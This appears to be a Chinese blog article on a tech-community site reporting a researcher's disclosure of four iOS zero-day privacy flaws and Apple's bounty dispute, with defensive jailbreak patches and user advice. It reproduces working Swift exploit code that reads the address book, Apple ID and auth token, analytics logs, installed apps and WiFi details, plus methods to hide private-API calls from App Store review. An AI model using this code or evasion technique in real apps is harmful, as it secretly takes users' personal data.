大家好,今天我们一起来吃一个苹果系统漏洞的大瓜!
事情是这样的,9 月 24 号 Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,吐槽苹果没有署名感谢,最关键是苹果没有给赏金!
以下是作者的信息:
从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。
作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,但到发文为止,只在 iOS 14.7 修复了一个,但苹果在 iOS 14.7 安全性内容 更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!才有了今天这个惊天动地的新闻(大瓜)!
0-day 漏洞
0day
,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。
零日攻击 指被发现后立即被恶意利用的安全漏洞。通俗地讲,即安全补丁与瑕疵曝光的同一日内,相关的恶意程序就出现。由原软件发行公司提供修补程序,但此法通常较慢,因此软件公司通常会在最新的病毒代码中提供回避已知零时差攻击的功能,但无法彻底解决漏洞本身。这种攻击往往具有很大的突发性与破坏性。
小编注:iOS 14.7 发布于 2021 年 7 月 19 日; 在作者发文后 2021年 10 月 11 日,苹果发布 iOS 15.0.2 ,又修复了一个漏洞。
接下来,我们先分析这 4 个漏洞的危害,然后在讨论关于苹果安全赏金计划,最后,在一些探讨一下关于 iOS 安全性。
漏洞在 iOS 14.7 已修复。
漏洞作用
允许任何用户安装的 app 访问分析日志(设置->隐私->分析和改进->分析数据 中的日志),这些日志包含(但不仅限于):
漏洞说明
此漏洞是不需要任何权限,app 就可以获取分析日志,而分析日志是每个系统都会有,肯定会存在敏感的信息。同时,作者表示即使在设置中关闭“共享分析”,所有这些数据仍在收集中。关于这点,小编没有进行验证,有兴趣的朋友可以验证一下。
此漏洞在 iOS 14.7 已经修复,所以,小编在 iOS 14.2 设备上测试,其中有一组名为 MotionUsageMetrics
数据:
这个数据应该是每个 app 调用 Motion(陀螺仪)的数据。
漏洞代码
漏洞攻击示例源代码:GitHub
func analyticsJson() -> String {
let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_string(xdict, "command", "log-dump")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}
XPC
这里先解析一下 XPC
,XPC 是 macOS 和 iOS 当中一种基于 Mach 消息的 IPC (进程间通信) 技术, 它实现了权限隔离, 使得 App Sandbox 更加完备。需要注意的是,在 iOS 上是私有 API。简单来说,就是系统封装了很多 XPC 服务,一个 XPC 提供了进程间通信的服务,所有的 app 都可以访问这个服务。详细 API 功能和说明,可以参考以下链接:
漏洞分析
了解了 XPC 基本概念,上面的源代码,大家应该能猜到一些了。就是通过苹果系统的 XPC 服务 com.apple.analyticsd
,因苹果没有验证权限,导致所有 app 都可以访问这个 XPC 服务。
源代码解读:
func analyticsJson() -> String {
// 建议 com.apple.analyticsd 的 XPC 连接
let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
// 处理 connection 的各种事件
xpc_connection_set_event_handler(connection, { _ in })
// 必须调用 resume 方法来启动
xpc_connection_resume(connection)
// 创建一个XPC参数传递字典
let xdict = xpc_dictionary_create(nil, nil, 0)
// 键是 command, 值是 log-dump
xpc_dictionary_set_string(xdict, "command", "log-dump")
// 发送消息
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
// 读取结果
return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}
如果需要运行源代码,需要注意,项目中的 c.c
代码文件中 c 函数方法需要修改成这样:
void * normal_function1(const char * arg1, int arg2) {
return ((void *(*)(const char *, int))((long long)dlopen))(arg1, arg2);
}
void * normal_function2(void * arg1, const char * arg2) {
return ((void *(*)(void *, const char *))((long long)dlsym))(arg1, arg2);
}
为什么这样改,下文会有进一步的解析。
报告时间表
从这长长的报告时间,没有得到苹果兑现承诺,可以感受到做出的贡献却没有得到表扬,对于作者是一件痛苦的事件。
漏洞在 iOS 15.0.2 已修复。
漏洞作用
从 App Store 安装的任何 app 都可以不需要用户允许的情况下访问以下数据:
漏洞说明
这个漏洞,不需要任何权限,即可读取 Core Duet、 Speed Dial 和 Address Book(通讯录) 数据库内容。而如果需要读取用户的 Apple ID 电子邮件,则需要在 设置 -> GameCenter 打开时,才能读取到。
运行示例:
这里只展示了获取 Apple ID 数据的截图,此漏洞还可以获取全部的通讯录,所有的联系人名字和电话号码,你的人脉关系链瞬间就这样给别人获取,所以,这个漏洞的危害性还是很大。
漏洞代码
漏洞攻击示例源代码:GitHub
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
漏洞分析
漏洞的根本原因是因为 XPC 服务 com.apple.gamed
未正确检查 app 是否有 com.apple.developer.game-center
权限导致。
1、即使在用户设备上禁用了 Game Center,调用 getServicesForPID:localPlayer:reply:
方法也会返回几个 XPC 代理对象(GKAccountService
、GKFriendService
、GKUtilityService
等)。
2、如果在用户设备上启用了 Game Center(即使它没有在苹果后台 App Store Connect 中为 app 启用此权限,并且 app 中不包含 com.apple.developer.game-center
授权)。
GKAccountService
上调用authenticatePlayerWithExistingCredentialsWithHandler:
会返回一个包含 Apple ID 的对象用户、DSID 和 Game Center 身份验证令牌(允许代表用户向 https://gc.apple.com 发送请求)。GKProfileService
上调用 getProfilesForPlayerIDs:handler:
会返回一个包含用户 Apple ID 名字和姓氏的对象。GKFriendService
上调用 getFriendsForPlayer:handler:
返回一个对象,其中包含有关用户在 Game Center 中的朋友的信息。3、即使设备上 Game Center 被禁用,也没有在苹果后台为 App Store Connect 中的 app 启用此权限,并且 app 不包含 com.apple.developer.game-center
授权。调用 GKUtilityService
的 requestImageDataForURL:subdirectory:fileName:handler:
允许在应用程序沙箱之外,读取任意文件通过将文件 URL 传递给该方法。可以通过这种方式访问的文件(但不限于)如下:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist
:包含设置中 “关于手机” 中的信息。越狱设备可以通过修改此文件,实现修改设备版本号、把日版美版等设备修改为国行等。/var/mobile/Library/CoreDuet/People/interactionC.db
:包含来自邮件、短信、iMessage、第三方app 传递的联系人列表以及有关用户与这些联系人交互的元数据(包括时间戳和统计数据)/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist
:包含个人收藏的联系人信息及其电话号码。/var/mobile/Library/AddressBook/AddressBook.sqlitedb
:包含完整的通讯录信息。/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb
:包含通讯录联系人的头像。在 GKUtilityService
上调用 cacheImageData:inSubdirectory:withFileName:handler:
可能允许将任意数据写入 app 沙箱之外的位置。
报告的时间线
2021年3月10日:向苹果报告了漏洞
2021年3月10日:苹果确认了我的报告
2021年5月20日:请求更新状态(但没有收到回复)
2021年5月30日:再次请求更新状态
2021年7月1日:苹果回复说他们仍在调查
2021年7月20日:再次请求状态更新
2021年8月25日:苹果回复说,他们计划在即将到来的更新中解决这个问题。
漏洞在 iOS 15.0.2 还没有修复。
漏洞作用
该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。
漏洞说明
这个漏洞,不需要任何权限,即可判断设备是否安装了 app。
运行示例:
获取安装的 app,可以分析用户的喜好习惯等。
漏洞代码
漏洞攻击示例源代码:GitHub
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}
漏洞分析
这个代码根据前面的解析,应该就可以读懂啦。原理是 XPC 服务 com.apple.nehelper
有一个可以访问任何应用的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。在 /usr/libexec/nehelper
的 -[NEHelperCacheManager onQueueHandleMessage:]
方法中执行。
报告的时间线
漏洞在 iOS 15.0.2 还没有修复。
漏洞作用
该漏洞允许有位置访问权限的 app 读取当前设备连接 WiFi 的 SSID
和 BSSID
信息。
漏洞说明
这个漏洞,需要 app 获得精确位置
的位置权限后,即可获取设备当前连接 WiFi 的 SSID
和 BSSID
信息。
运行示例:
获取 WiFi 的信息,一般是收集用户的连接圈,比如有5个人连接了同一个 BSSID 的 WiFi,说明他们有共同的聚合点。
漏洞代码
漏洞攻击示例源代码:GitHub
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}
漏洞分析
XPC 服务 com.apple.nehelper
接受用户提供的参数 sdk-version
,如果其值小于或等于 524288
,则跳过 app com.apple.developer.networking.wifi-info
权限的检查。这使得任何符合条件的应用程序(例如,提供位置访问权限)都可以在没有所需权限的情况下访问 Wifi 信息。这在 /usr/libexec/nehelper
的 -[NEHelperWiFiInfoManager checkIfEntitled:]
方法中执行。
报告的时间线
Apple 安全赏金计划 是苹果奖励分享关键安全问题的研究人员。
研究人员报告 iOS、iPadOS、macOS、Apple tvOS、watchOS 和 iCloud 上的问题,并可获得最高 150 万美元的奖金。此外,Apple 也会对提交有效报告的人员公开致谢。如果获奖者捐献奖金,Apple 还会捐赠等值款项给符合条件的慈善机构。
作者认为 illusionofchaos/ios-gamed-0day: iOS gamed exploit (fixed in 15.0.2) 漏洞,根据苹果 安全赏金计划页面,这个漏洞的评估为100,000美元(对通常受 TCC 提示保护或平台沙箱保护的敏感数据的广泛应用访问。“敏感数据”访问包括从联系人获得广泛访问(即完整数据库))。
小编注:TCC 提示保护(protected by a TCC prompt),是 macOS 系统设置中的 “安全与隐私” 下的“隐私”选项卡中权限的管理。
作者称自己不是第一个对苹果安全赏金计划不满意的人。以下是一些其他报告和意见:
首先,从上面分析,危害最大的 XPC "com.apple.gamed" 漏洞,在 iOS 15.0.2 已经修复,Apple ID 获取不到,但是通讯录功能依然能访问,另外在 15.0.1 以下的设备,可以理解为不安全的设备。所以,危害性不言而喻。
另外,作者说,关于上述漏洞代码能否进入 App Store 表示怀疑,因为苹果有严格的机器和人工审核。作者进行了反驳。
可以想象一下,某个同性恋可处以死刑的国家的政府,在 App Stor e中有一个官方应用程序,供大多数公民使用,并希望基于性取向针对人们。例如,可以通过检查用户的设备上是否安装了 Grindr 应用程序来做到这一点。政府可能会在自己的官方应用程序中隐藏恶意代码,向 App Store 发送更新,苹果将无法检测到这一点。
大家都知道,App Store 上传的包体会进行静态分析,对照一组预定义的私有API 检查二进制文件中的字符串列表,但如果该 API 是 Objective-C 语言,可以通过 Objective-C 运行时动态调用它。
作者在公开的漏洞源代码中,示例了动态调用苹果认为是私人 API 的一部分 C 函数,以免被静态分析检测到。 示例代码:
let dylib = normal_function1(["/usr/lib/system/libxp", ".dylib"].joined(separator: "c"), 0)
let normalFunction3 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_create_mach_service"].joined(separator: "c")), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self)
let normalFunction4 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_set_event_handler"].joined(separator: "c")), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)
其中 dlopen
和 dlsym
系统库函数,它们允许加载动态库并解析其中的符号。这些功能的使用可能会被 App Store 审核团队检测到,但作者表示可以避免直接使用它们。因为每个 iOS 二进制文件都会有一个名为 dyld_stub_binder
的符号,它是从与 dlopen 和 dlsym 相同的库中导入的。这意味着我们可以找到 dyld_stub_binder 在内存中距离 dlopen 和 dlsym 的位置,并仅使用它们的地址来调用它们。因此我们将提前计算一个特定 iOS 版本和设备型号的偏移量(参考源代码中的 c.c
文件):
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlopen);
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlsym);
更复杂的恶意软件可以避免使用预定义的偏移量,并使用这些函数的签名动态查找地址。 这里就不展开了,有兴趣的朋友可以了解一下 ffi。
当然,为了不被静态分析检测到,包含函数名称的字符串应该混淆。更多可以阅读作者 文章。
关于漏洞修复,正如前文说到的,如果你的系统版本低于 iOS 15.0.2,那么关闭 Game Center、不要给“精确位置”权限,尽可能升级到最新系统,可能是最优的方案。
当然,收到的未知链接、非 AppStore 安装的 app,风险也非常的大,从上文就可以知道,不需要你的允许,你的信息可能已经被偷偷拿到。当然,如果你认为只是一些基本信息,那么可能就大意了。假如系统有一个漏洞,可能拿到你短信 app 的验证码,那么你手机号码 + 验证码,这些潜在的风险意识,也许是我们当今每个智能用户,都要懂得的保护自己设备,也是在保护自己的信息财产安全。
4个漏洞,还有2个漏洞苹果没有修复,然后,有开发者在 reddit 表示自己开发了越狱版本的修复漏洞的插件!
具体的插件源代码,可以在 rllbe/entitlementfix: Workaround for the 4 0-days 看到:
%hook GKAccountService
-(void)authenticatePlayerWithExistingCredentialsWithHandler:(void(^)(GKAuthenticateResponse *, NSError *))handler {
void (^_handler)(GKAuthenticateResponse *, NSError *) = ^(GKAuthenticateResponse *response, NSError *error) {
if (response && ![[[self clientProxy] entitlements] hasEntitlements:[%c(GKAccountServicePrivate) requiredEntitlements]]) { response.credential = nil;
response.passwordChangeURL = nil;
}
handler(response, error);
};
%orig(_handler);
}
%end
这里是修复了 "com.apple.gamed" 漏洞,增加了获取数据前,验证当前的代码对象是否有 XPC 服务的权限。
这是修复了判断是否安装某个app的漏洞:
%hook NEHelperCacheManager
-(void)onQueueHandleMessage:(xpc_object_t)xdict {
if (xpc_dictionary_get_uint64(xdict, "cache-command") == 3uLL) {
Class NEHelperServer = %c(NEHelperServer);
if (![NEHelperServer verifyConnection:xpc_dictionary_get_remote_connection(xdict) hasEntitlement:"com.apple.private.nehelper.privileged"]) {
[NEHelperServer sendReplyForMessage:xdict result:22LL data:0LL];
return;
}
}
return %orig;
}
%end
修复 wifi 信息漏洞:
%hook NEHelperWiFiInfoManager
-(BOOL)checkIfEntitled:(NSUInteger)sdkVersion {
NSUInteger _sdkVersion = sdkVersion <= 1 << 19 ? 1 << 19 : sdkVersion;
return %orig(_sdkVersion);
}
%end
也许,这也是越狱的优点,本身是利用系统漏洞,最后又替系统修复了漏洞,也不需要升级系统才能修复。听起来像个笑话~
吃完瓜,相信有很多漏洞,没有被披露出来!或者被某些人发现了!
关于苹果有漏洞赏金计划,小编这里就不评论了,除了其它大企业都有类似的计划,对于安全研究员,这本身是一个“双赢”的计划。但是大企业,往往走的标准化流程,所以,苹果没有回应或没有及时回应的指控,其实从平时的苹果响应慢也能感受到,当然,苹果关于符合赏金计划付费的审核,可能是一个不透明的问题。这一切,导致了作者的公开了价值十万美元的漏洞!
从这个事件,让我们知道,安全的问题从来不是一件小事,而当用户信息泄漏时,可能跟用户也有直接关系。iOS 安全的问题,从这4个漏洞就表明,只是冰山一角,iOS 安全性只是相对的,所以,从用户角度,不要点击未知链接,不安装未知app,尽量更新到最新系统,可能是更加安全。
欢迎大家一起在评论区交流~
欢迎关注我们,了解更多 iOS 和 Apple 的动态~
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。